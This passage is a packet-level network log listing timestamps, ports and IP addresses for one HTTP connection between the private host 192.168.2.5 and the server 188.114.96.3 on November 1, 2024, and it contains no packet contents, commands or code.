Nov 1, 2024 15:15:00.679919004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679919004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679923058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679933071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679944992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679956913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679960012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679975986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679980040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679987907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680003881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680016041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680027008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680036068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680037022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680037022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680041075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680052042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680094004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680094004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680109024 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680109024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680120945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680130959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680143118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680154085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680165052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680176973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680188894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680195093 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680195093 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680195093 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680200100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680250883 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680250883 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680274010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680284023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680303097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680321932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680330038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680330038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680335999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680346012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680350065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680357933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680371046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680388927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680389881 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680392027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680404902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680414915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680427074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680438995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680449963 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680449963 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680457115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680466890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680469990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680500984 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680522919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680644035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680655956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680666924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680681944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680692911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680704117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680713892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680723906 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680723906 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680726051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680733919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680737019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680749893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680759907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680771112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680778027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680778027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680783987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680793047 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680795908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680814981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680825949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680836916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.680840015 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680861950 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.680883884 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756129980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756172895 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756208897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756285906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756319046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756319046 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756350994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756372929 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756378889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756428957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756480932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756494999 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756509066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756547928 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756547928 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756557941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756587982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756597996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756608009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756620884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756633043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756644011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756654978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756661892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756661892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756679058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756690979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756700993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756711960 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756712914 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756748915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756752968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756752968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756759882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756771088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756781101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756797075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756808043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756819963 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756819963 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756827116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756838083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756848097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756848097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756848097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756860018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756871939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756882906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756894112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756906033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756908894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756908894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756916046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756922007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756928921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756939888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756957054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756963968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756966114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756974936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756980896 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.756987095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.756998062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757004023 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757009983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757019997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757030964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757042885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757050991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757050991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757055044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757061005 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757066011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757077932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757088900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757096052 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757100105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757112980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757123947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757134914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757145882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757148027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757148027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757157087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757169008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757174015 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757179976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757275105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757275105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757350922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757364035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757375956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757388115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757404089 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757462025 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757520914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757533073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757543087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757554054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757565022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757575035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757586002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757596970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757606983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757617950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757628918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757635117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757641077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757647038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757657051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757668018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757675886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757675886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757675886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757675886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757679939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757692099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757699966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757728100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.757896900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757908106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.757992029 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758042097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758053064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758063078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758075953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758086920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758105040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758116007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758126974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758131981 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758131981 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758137941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758150101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758161068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758172035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758183002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758193016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758204937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758212090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758212090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758212090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758212090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758215904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758229017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758239031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758249998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758260965 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758260965 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758261919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758310080 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758310080 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758471966 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758487940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758498907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758517027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758521080 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758528948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758541107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758552074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758553028 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758610964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758610964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758752108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758764982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758775949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758788109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758800030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758801937 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758811951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758824110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758827925 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758846998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758860111 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758913994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758925915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758935928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758953094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758965015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758975983 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758976936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.758995056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.758995056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759007931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759016037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759018898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759031057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759041071 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759042025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759048939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759057045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759058952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759071112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759083986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759093046 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759093046 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759124994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759287119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759298086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759335995 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759480953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759494066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759505033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759516954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759529114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759541035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759541988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759552956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759557009 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759566069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759577990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759588957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759601116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759603024 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759610891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759619951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759623051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759634972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759644985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759656906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759665966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759665966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759669065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759682894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759695053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759721994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759740114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.759897947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759910107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759919882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759931087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759943962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759955883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.759967089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760044098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760056019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760066032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760077953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760085106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760085106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760090113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760097980 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760099888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760112047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760123014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760133028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760143995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760155916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760166883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760178089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760190010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760190010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760190010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760194063 CET	80	49874	188.114.96.3	192.168.2.5
